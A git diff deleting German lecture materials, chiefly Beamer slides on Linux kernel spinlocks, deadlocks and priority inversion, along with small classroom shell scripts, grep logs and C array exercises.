- } \
- while (0)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(8.5,1.75){\line(-1,0){4.5}}
- \put(8.5,1.75){\line(0,-1){2.9}}
- \put(8.5,-1.15){\vector(-1,0){1.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
-
- \medskip
-
- \begin{lstlisting}
- static inline void spin_lock (spinlock_t *lock)
- {
- raw_spin_lock (&lock->rlock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.3,0.95){\line(-1,0){4.0}}
- \put(9.3,0.95){\line(0,-1){2.1}}
- \put(9.3,-1.15){\vector(-1,0){1.0}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
-
- \medskip
-
- \begin{lstlisting}
- #define raw_spin_lock(lock) _raw_spin_lock (lock)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(10.0,0.55){\line(-1,0){0.5}}
- \put(10.0,0.55){\line(0,-1){1.7}}
- \put(10.0,-1.15){\vector(-1,0){1.3}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
-
- \medskip
-
- \begin{lstlisting}
- #define _raw_spin_lock(lock) __raw_spin_lock (lock)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(10.7,0.55){\line(-1,0){0.5}}
- \put(10.7,0.55){\line(0,-1){1.75}}
- \put(10.7,-1.2){\vector(-1,0){2.3}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
-
- \medskip
-
- \begin{lstlisting}
- void __lockfunc __raw_spin_lock (spinlock_t *lock)
- {
- for (;;)
- {
- preempt_disable ();
- if (likely (do_raw_spin_trylock (lock)))
- break;
- preempt_enable ();
-
- if (!(lock)->break_lock)
- (lock)->break_lock = 1;
- while (!raw_spin_can_lock (lock) && (lock)->break_lock)
- arch_spin_relax (&lock->raw_lock);
- }
- (lock)->break_lock = 0;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(10.7,4.75){\line(-1,0){3.5}}
- \put(10.7,4.75){\line(0,-1){5.95}}
- \put(10.7,-1.2){\vector(-1,0){1.1}}
- \end{picture}
-
- \bigskip
-
- Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
-
- \medskip
-
- \begin{lstlisting}
- static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
- {
- return arch_spin_trylock (&(lock)->raw_lock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(11.5,0.95){\line(-1,0){3.5}}
- \put(11.5,0.95){\line(0,-1){2.1}}
- \put(11.5,-1.15){\vector(-1,0){0.7}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
-
- \medskip
-
- \begin{lstlisting}
- static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
- {
- return __ticket_spin_trylock (lock);
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.5,0.95){\line(-1,0){3.5}}
- \put(9.5,0.95){\vector(0,-1){1.7}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
-
- \medskip
-
- \begin{lstlisting}
- static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
- {
- arch_spinlock_t old, new;
-
- old.tickets = ACCESS_ONCE (lock->tickets);
- if (old.tickets.head != old.tickets.tail)
- return 0;
-
- new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
-
- /* cmpxchg is a full barrier, so nothing can move before it */
- return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
- }
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(2.2,0.3){\line(0,1){0.4}}
- \put(9.0,0.3){\line(-1,0){6.8}}
- \put(9.0,0.3){\line(0,-1){1.45}}
- \put(9.0,-1.15){\vector(-1,0){3.2}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
-
- \medskip
-
- \begin{lstlisting}
- #define cmpxchg(ptr, old, new) \
- __cmpxchg (ptr, old, new, sizeof (*(ptr)))
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.0,0.5){\line(-1,0){1.8}}
- \put(9.0,0.5){\line(0,-1){1.65}}
- \put(9.0,-1.15){\vector(-1,0){2.2}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
-
- \medskip
-
- \begin{lstlisting}
- #define __cmpxchg(ptr, old, new, size) \
- __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(2.2,-0.1){\line(0,1){0.3}}
- \put(9.0,-0.1){\line(-1,0){6.8}}
- \put(9.0,-0.1){\line(0,-1){1.05}}
- \put(9.0,-1.15){\vector(-1,0){2.2}}
- \end{picture}
-
- \bigskip
-
- Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
-
- \medskip
-
- \begin{lstlisting}
- asm volatile (lock "cmpxchgl %2,%1" \
- : "=a" (__ret), "+m" (*__ptr) \
- : "r" (__new), "0" (__old) \
- : "memory");
- \end{lstlisting}
- \begin{picture}(0,0)
- \color{red}
- \put(9.8,1.8){\vector(-1,0){0.6}}
- \put(9.8,1.2){\line(0,1){0.6}}
- \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
- \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{\normalpdfpageheight}
-
-%\sectionnonumber{Literaturempfehlung}
-%\subsectionnonumber{Automotive Embedded Systeme}
-%
-%\begin{frame}[c]
-%
-% \showsectionnonumber
-%
-% Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
-% Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-%
-% \medskip
-%
-% \showsubsectionnonumber
-%
-% \vspace{-\medskipamount}
-%
-% Springer-Verlag, Berlin, Heidelberg 2005
-%
-% \bigskip
-%
-% Lizenz: proprietär
-%
-% \medskip
-%
-% (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-%
-%\end{frame}
-
-\sectionnonumber{Theorie der Echtzeitsysteme}
-\subsection{Multitasking}
-\subsection{Ressourcen}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ressourcen reservieren
- \begin{itemize}
- \item
- \newterm{Semaphor}\\
- gemeinsame Variable mehrerer Prozesse\\
- zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
- Ressource belegt \textarrow\ Kontextwechsel
- \medskip
- \item
- \newterm{Mutex}\\
- Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
- auf eine Ressource zugreifen kann
- \medskip
- \item
- \newterm{Spinlock} (\emph{busy waiting\/})\\
- leichtgewichtige Alternative zu Kontextwechsel
- \medskip
- \item
- \newterm{Kritischer Abschnitt -- critical section}\\
- Programmabschnitt zwischen Reservierung\\
- und Freigabe einer Ressource\\
- \textarrow\ sollte immer so kurz wie möglich sein
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \begin{picture}(0,0)
- \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
- \end{picture}%
- \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
- \begin{itemize}
- \item
- \newterm{Deadlock\/}: Prozeß wartet
- \item
- \newterm{Livelock\/}: Prozeß macht andere Dinge\\
- (z.\,B.\ \emph{busy waiting\/})
- \end{itemize}
-
- \pause
- \bigskip
-
- Beispiel: Philosophenproblem
-
- \only<2-3>{%
- \begin{itemize}
- \item
- 5 Philosophen, 5 Gabeln
- \item
- 2 Gabeln zum Essen notwendig
- \item
- Wer essen will, nimmt eine Gabel\\
- und wartet notfalls auf die zweite.
- \item
- Keiner legt eine einzelne Gabel\\
- wieder zurück.
- \end{itemize}
- Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
- \pause
- \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
- \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
- }
- \only<4->{%
- \bigskip
-
- Bedingungen für Verklemmungen:
-
- \begin{minipage}[t]{4.5cm}
- \begin{itemize}
- \item
- Exklusivität
- \item
- \newterm{hold and wait}
- \item
- Entzug nicht möglich
- \item
- zirkuläre Blockade
- \end{itemize}
- \end{minipage}\pause[5]
- \begin{minipage}[t]{7.5cm}
- \begin{itemize}
- \arrowitem
- Spooling
- \arrowitem
- simultane Zuteilung
- \arrowitem
- Prozesse suspendieren, beenden, \newterm{Rollback}
- \arrowitem
- Reihenfolge abhängig von Ressourcen
- \end{itemize}
- \end{minipage}
- }
-
-\end{frame}
-
-\subsection{Prioritäten}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Linux 0.01
- \begin{itemize}
- \item
- Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
- Prozeß mit höchstem Zähler bekommt Rechenzeit.
- \item
- Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
- bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
- \item
- \emph{keine\/} harte Echtzeit
- \arrowitem
- \newterm{dynamische Prioritätenvergabe\/}:\\
- Rechenzeit hängt vom Verhalten des Prozesses ab
- \end{itemize}
-
- \medskip
-
- Echtzeitbetriebssysteme
- \begin{itemize}
- \item
- Prozesse können einen festen Anteil an Rechenzeit bekommen.
- \item
- Bei Ereignissen können Prozesse hoher Priorität\\
- Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
- \arrowitem
- \newterm{statische Prioritätenvergabe}
- \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Echtzeitbetriebssysteme
- \begin{itemize}
- \item
- Prozesse können einen festen Anteil an Rechenzeit bekommen.
- \item
- Bei Ereignissen können Prozesse hoher Priorität\\
- Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
- \end{itemize}
-
- \vspace{0cm plus 1filll}
-
- \begin{center}
- \begin{picture}(11,4)(-1,0)
- \small
-
- \put(-0.1,0.5){\vector(1,0){10.1}}
- \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
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- \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
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- \put(0,3){\line(1,0){10}}
-
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- \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
- \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}}
- \alt<1>{%
- \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
- }{%
- \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}}
- }
- \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
- \put(0,1){\line(1,0){10}}
-
- \pause
-
- \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
- \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
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- \put(0,2){\line(1,0){10}}
-
- \end{picture}
- \end{center}
-
-\end{frame}
-
-\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \only<4->{%
- Der höher priorisierte Prozeß bewirkt selbst,\\
- daß er eine Ressource verspätet bekommt.
-
- \medskip
-
- \textarrow\ \newterm{begrenzte Prioritätsinversion}
-
- \medskip
-
- maximale Verzögerung: Länge des kritischen Bereichs
- }
-
- \vspace{0cm plus 1filll}
-
- \begin{center}
- \begin{picture}(11,4)(-1,0)
- \small
-
- \put(-0.1,0.5){\vector(1,0){10.1}}
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- \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
- \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
- \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}}
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- \end{picture}
- \end{center}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- \visible<4->{%
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
-
- \pause
- \vspace{0cm plus 1filll}
-
- \begin{center}
- \begin{picture}(11,4)(-1,0)
- \small
-
- \put(-0.1,0.5){\vector(1,0){10.1}}
- \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
- \put(0,0.4){\vector(0,1){3.6}}
- \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
- \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
- \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
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- \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
- }
- \put(0,3){\line(1,0){10}}
-
- \only<2->{%
- \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
- \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
- \alt<1-4>{%
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- }{%
- \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
- }
- \only<2>{%
- \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
- \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
- }
- \only<3-4>{%
- \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-% \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
- }
- \only<2>{%
- \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
- \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
- }
- \put(0,1){\line(1,0){10}}
- }
-
- \only<5->{%
- \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
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- }
- \end{picture}
- \end{center}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \medskip
-
- Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
- \only<1>{%
- \begin{center}
- \includegraphics[width=8.7cm]{pathfinder.jpg}
- \vspace*{-1cm}
- \end{center}
- }
-
- \bigskip
-
- \only<2>{%
- Gegenmaßnahmen
- \begin{itemize}
- \item
- \newterm{Priority Inheritance -- Prioritätsvererbung}\\
- Der Besitzer des Mutex erbt die Priorität\\
- des Prozesses, der auf den Mutex wartet.
- \end{itemize}
-
- \bigskip
-
- \begin{minipage}{7.0cm}
- \begin{flushright}
- \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/}
- \end{flushright}
- \end{minipage}
-
- \vspace{1.35cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.8cm]{pathfinder.jpg}}\vspace*{-1cm}
- }
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \bigskip
-
- Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung}
-
- \vspace{0cm plus 1filll}
-
- \begin{center}
- \begin{picture}(11,4)(-1,0)
- \small
-
- \put(-0.1,0.5){\vector(1,0){10.1}}
- \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
- \put(0,0.4){\vector(0,1){3.6}}
- \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
- \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
- \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
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- \put(0,1){\line(1,0){10}}
-
- \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
- \only<1-2>{%
- \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
- }
- \put(0,2){\line(1,0){10}}
-
- \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
- \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
- \put(0,3){\line(1,0){10}}
-
- \only<2>{%
- \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
- {\thicklines
- \put(3.3,2.95){\line(2,1){1.0}}
- \put(3.3,3.45){\line(2,-1){1.0}}}
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-
- \only<3->{%
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- \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
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- }
- \end{picture}
- \end{center}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \bigskip
-
- Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze}
-
- \vspace{0cm plus 1filll}
-
- \begin{center}
- \begin{picture}(11,4)(-1,0)
- \small
-
- \put(-0.1,0.5){\vector(1,0){10.1}}
- \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
- \put(0,0.4){\vector(0,1){3.6}}
- \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
- \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
- \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-% \only<1>{%
-% \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-% }
- \put(0,1){\line(1,0){10}}
-
-% \only<1>{%
-% \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-% \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-% }
- \put(0,2){\line(1,0){10}}
-
- \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-% \only<1>{%
-% \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-% }
- \put(0,3){\line(1,0){10}}
-
-% \only<2>{%
-% \only<2>{%
- \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}}
- \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
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- \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
- \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
-% }
- \end{picture}
- \end{center}
-
-\end{frame}
-
-\begin{frame}
-
- \showsection
- \showsubsection
-
- Ein Prozeß mit mittlerer Priorität bewirkt,
- daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
- \medskip
-
- \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
- \medskip
-
- Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
- \bigskip
-
- Gegenmaßnahmen
- \begin{itemize}
- \item
- \newterm{Priority Inheritance -- Prioritätsvererbung}\\
- Der Besitzer des Mutex erbt die Priorität\\
- des Prozesses, der auf den Mutex wartet.
- \smallskip
- \item
- \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
- Der Besitzer des Mutex bekommt sofort\\
- die Priorität des höchstmöglichen Prozesses,\\
- der evtl.\ den Mutex benötigen könnte.
- \pause
- \begin{picture}(0,0)
- \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
- \begin{minipage}{4cm}
- nur möglich, wenn\\
- Mutexe im Spiel sind
- \end{minipage}}}
- \end{picture}
- \smallskip
- \pause
- \item
- \newterm{Priority Aging}\\
- Die Priorität wächst mit der Wartezeit.
- \end{itemize}
- \vspace*{-1cm}
-
-\end{frame}
-
-\end{document}
diff --git a/20161006/unix-20161006.pdf b/20161006/unix-20161006.pdf
deleted file mode 100644
index 13af3df37127ad219d551e9ba2a58c4f00f6b4b7..0000000000000000000000000000000000000000
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diff --git a/20161006/wp-systemtechnik.png b/20161006/wp-systemtechnik.png
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diff --git a/20161006/xbee.jpg b/20161006/xbee.jpg
deleted file mode 120000
index ff0adff2eadf3d9b775d03cea8cf1f118534e2b9..0000000000000000000000000000000000000000
--- a/20161006/xbee.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/xbee.jpg
\ No newline at end of file
diff --git a/20161013/cool.sh b/20161013/cool.sh
deleted file mode 100644
index efeff447842644e299e47dda10bd73cf6958cc52..0000000000000000000000000000000000000000
--- a/20161013/cool.sh
+++ /dev/null
@@ -1 +0,0 @@
-while true; do echo -n "Shell-Programmierung ist cool. :-) "; sleep 0.5s; done
diff --git a/20161013/fehler.txt b/20161013/fehler.txt
deleted file mode 100644
index 7df7bbb4505ba2b362f43173ded3b955fc5e6542..0000000000000000000000000000000000000000
--- a/20161013/fehler.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-cat: gibtsnicht.txt: Datei oder Verzeichnis nicht gefunden
-cat: gibtsnicht.txt: Datei oder Verzeichnis nicht gefunden
diff --git a/20161013/foo/test.c b/20161013/foo/test.c
deleted file mode 100755
index a8561e00558a0c71f977cb12c7476dd97875bcdd..0000000000000000000000000000000000000000
Binary files a/20161013/foo/test.c and /dev/null differ
diff --git a/20161013/grep.err b/20161013/grep.err
deleted file mode 100644
index c0cecdc84b22acc90d142ded1a106491878c950a..0000000000000000000000000000000000000000
--- a/20161013/grep.err
+++ /dev/null
@@ -1,4 +0,0 @@
-grep: bla: Ist ein Verzeichnis
-grep: foo: Ist ein Verzeichnis
-grep: die Eingabedatei „grep.log“ ist auch die Ausgabedatei
-grep: test-2.txt: Datei oder Verzeichnis nicht gefunden
diff --git a/20161013/grep.log b/20161013/grep.log
deleted file mode 100644
index 09f4b1b107ba796f3cc1f10267583a7564c44e47..0000000000000000000000000000000000000000
--- a/20161013/grep.log
+++ /dev/null
@@ -1,17 +0,0 @@
-Übereinstimmungen in Binärdatei test.
-test-1.txt:Dies ist ein Test.
-test-1.txt:Ein Test.
-test-1.txt:Dies ist ein Test.
-test-1.txt:Ein Test.
-test-1.txt:Ein Test.
-test-3.txt:Dies ist ein Test.
-test-3.txt:Ein Test.
-test-3.txt:Dies ist ein Test.
-test-3.txt:Ein Test.
-test-3.txt:Ein Test.
-test-4.txt:Dies ist ein Test.
-test-4.txt:Ein Test.
-test-4.txt:Dies ist ein Test.
-test-4.txt:Ein Test.
-test-4.txt:Ein Test.
-test.c: printf ("Dies ist ein Test.\n");
diff --git a/20161013/klausur-zip.sh b/20161013/klausur-zip.sh
deleted file mode 100644
index 9d525cd847827d4b35bd839597f365ec8d16b2b1..0000000000000000000000000000000000000000
--- a/20161013/klausur-zip.sh
+++ /dev/null
@@ -1 +0,0 @@
-zip gerwinski-klausuren.zip $(find ~/bo -name "*klausur*.pdf" | grep -v fig)
diff --git a/20161013/make-klausur-zip.sh b/20161013/make-klausur-zip.sh
deleted file mode 100644
index f2658dc69ddde92c4f3a59ae8a01bf2d44c738b0..0000000000000000000000000000000000000000
--- a/20161013/make-klausur-zip.sh
+++ /dev/null
@@ -1 +0,0 @@
-echo 'zip gerwinski-klausuren.zip $(find ~/bo -name "*klausur*.pdf" | grep -v fig)' > klausur-zip.sh
diff --git a/20161013/tafelbild-20161013-112458.jpg b/20161013/tafelbild-20161013-112458.jpg
deleted file mode 100644
index 201130a2037912fcab129ba36a9e00bf15c3fe46..0000000000000000000000000000000000000000
Binary files a/20161013/tafelbild-20161013-112458.jpg and /dev/null differ
diff --git a/20161013/test b/20161013/test
deleted file mode 100755
index a8561e00558a0c71f977cb12c7476dd97875bcdd..0000000000000000000000000000000000000000
Binary files a/20161013/test and /dev/null differ
diff --git a/20161013/test-1.sh b/20161013/test-1.sh
deleted file mode 100755
index 7bcac8bfc897131206cb32ba88d805ed03dca042..0000000000000000000000000000000000000000
--- a/20161013/test-1.sh
+++ /dev/null
@@ -1 +0,0 @@
-ls -l
diff --git a/20161013/test-1.txt b/20161013/test-1.txt
deleted file mode 100644
index 4b4b82bcfe3247fd2d31b3d291e6bbbe9176fa96..0000000000000000000000000000000000000000
--- a/20161013/test-1.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Dies ist ein Test.
-Was ist das?
-Ein Test.
-
-Dies ist ein Test.
-Was ist das?
-Was ist das?
-Ein Test.
-Ein Test.
diff --git a/20161013/test-2.sh b/20161013/test-2.sh
deleted file mode 100755
index 8f1e1031454c615b584526052a5bd3cd84ef9ac9..0000000000000000000000000000000000000000
--- a/20161013/test-2.sh
+++ /dev/null
@@ -1,2 +0,0 @@
-#!/bin/bash
-ls -l
diff --git a/20161013/test-2.txt b/20161013/test-2.txt
deleted file mode 120000
index 541cb64f9b85000af670c5b925fa216ac6f98291..0000000000000000000000000000000000000000
--- a/20161013/test-2.txt
+++ /dev/null
@@ -1 +0,0 @@
-test.txt
\ No newline at end of file
diff --git a/20161013/test-3.bc b/20161013/test-3.bc
deleted file mode 100755
index 89da795394dc1d0d77ce2a98b801b804e9ecdf5f..0000000000000000000000000000000000000000
--- a/20161013/test-3.bc
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/usr/bin/bc
-1 + 1
-2 + 2
-2^128
-quit
diff --git a/20161013/test-3.txt b/20161013/test-3.txt
deleted file mode 100644
index 4b4b82bcfe3247fd2d31b3d291e6bbbe9176fa96..0000000000000000000000000000000000000000
--- a/20161013/test-3.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Dies ist ein Test.
-Was ist das?
-Ein Test.
-
-Dies ist ein Test.
-Was ist das?
-Was ist das?
-Ein Test.
-Ein Test.
diff --git a/20161013/test-4.txt b/20161013/test-4.txt
deleted file mode 100644
index 4b4b82bcfe3247fd2d31b3d291e6bbbe9176fa96..0000000000000000000000000000000000000000
--- a/20161013/test-4.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Dies ist ein Test.
-Was ist das?
-Ein Test.
-
-Dies ist ein Test.
-Was ist das?
-Was ist das?
-Ein Test.
-Ein Test.
diff --git a/20161013/test-5.txt b/20161013/test-5.txt
deleted file mode 100644
index 4783efb16610f4b25eb98e299dc6fda56b42de0a..0000000000000000000000000000000000000000
--- a/20161013/test-5.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-Hello, world!
-Praktisch. :-)
diff --git a/20161013/test.bc b/20161013/test.bc
deleted file mode 100644
index a922b775b5315bf2bc04d96cbdaba8d32c911404..0000000000000000000000000000000000000000
--- a/20161013/test.bc
+++ /dev/null
@@ -1 +0,0 @@
-2 + 2
diff --git a/20161020/arrays-1.c b/20161020/arrays-1.c
deleted file mode 100644
index 6e789005949050ecc228502b51458cef64754d66..0000000000000000000000000000000000000000
--- a/20161020/arrays-1.c
+++ /dev/null
@@ -1,9 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- int hello[] = { 84, 101, 115, 116, 0 };
- for (int i = 0; hello[i]; i++)
- printf ("%d\n", hello[i]);
- return 0;
-}
diff --git a/20161020/arrays-13.c b/20161020/arrays-13.c
deleted file mode 100644
index b279c2c7fc6dd72387bf2e134ee3d4201d77b864..0000000000000000000000000000000000000000
--- a/20161020/arrays-13.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[][5] = { "Dies", "ist", "ein", "Test" };
-
- for (int i = 0; i < 4; i++)
- {
- for (int j = 0; a[i][j]; j++)
- printf ("%c", a[i][j]);
- printf ("\n");
- }
- return 0;
-}
diff --git a/20161020/arrays-14.c b/20161020/arrays-14.c
deleted file mode 100644
index 67e15b0644ccbf1f49a55ea08fc5beb6c701d914..0000000000000000000000000000000000000000
--- a/20161020/arrays-14.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[][] = { "Dies", "ist", "ein", "Test" };
-
- for (int i = 0; i < 4; i++)
- {
- for (int j = 0; a[i][j]; j++)
- printf ("%c", a[i][j]);
- printf ("\n");
- }
- return 0;
-}
diff --git a/20161020/arrays-15.c b/20161020/arrays-15.c
deleted file mode 100644
index dca22529246a634b8fafd323b0e055ecd8cde510..0000000000000000000000000000000000000000
--- a/20161020/arrays-15.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[][5] = { "Dies", "ist", "ein", "Test" };
- char **p = a;
-
- for (int i = 0; i < 4; i++)
- {
- for (int j = 0; p[i][j]; j++)
- printf ("%c", p[i][j]);
- printf ("\n");
- }
- return 0;
-}
diff --git a/20161020/arrays-16.c b/20161020/arrays-16.c
deleted file mode 100644
index 299de329caa832ae339531976635fcc18819f4ae..0000000000000000000000000000000000000000
--- a/20161020/arrays-16.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[][5] = { "Dies", "ist", "ein", "Test" };
- char *p = a[0];
-
- for (int i = 0; i < 4; i++)
- {
- for (int j = 0; p[i][j]; j++)
- printf ("%c", p[i][j]);
- printf ("\n");
- }
- return 0;
-}
diff --git a/20161020/arrays-17.c b/20161020/arrays-17.c
deleted file mode 100644
index 737fdb9fb62ab71b224861f0a955c75fad921686..0000000000000000000000000000000000000000
